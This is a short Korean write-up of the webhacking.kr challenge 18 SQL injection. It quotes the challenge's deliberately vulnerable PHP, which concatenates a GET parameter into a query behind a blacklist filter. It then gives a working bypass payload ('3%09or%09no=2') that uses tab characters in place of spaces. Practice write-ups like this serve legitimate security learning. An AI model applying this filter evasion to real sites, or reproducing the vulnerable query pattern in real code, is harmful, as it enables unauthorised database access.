[webhacking.kr] 18번 문제 풀이[SQL Iinjection]
💡 Webhacking.kr challenge(old) 18번 문제에 대한 풀이입니다.
문제
문제 화면
소스 코드
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
문제 분석
php 코드에 따라 no = 1을 입력하면 다음과 같이 hi guest
가 출력됩니다.
다음 sql문을 우회해서 no=2인 admin 열이 나올 수 있도록 해야 합니다.
select id from chall18 where id='guest' and no=$_GET[no]
우선 필터링 된 문자들은 다음과 같습니다.
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
---|---|---|---|---|---|---|---|---|
%20 | / | ( | ) | | | & | select | from | 0x |
가장 기본적으로 떠오르는 우회 법은 3 or no = 2
입니다. 이중 필터링에 걸리는 부분은 공백 밖에 없으므로 %20 -> %09로 바꿔서 입력을 해보면 다음과 같습니다.
3%09or%09no=2
클리어
댓글남기기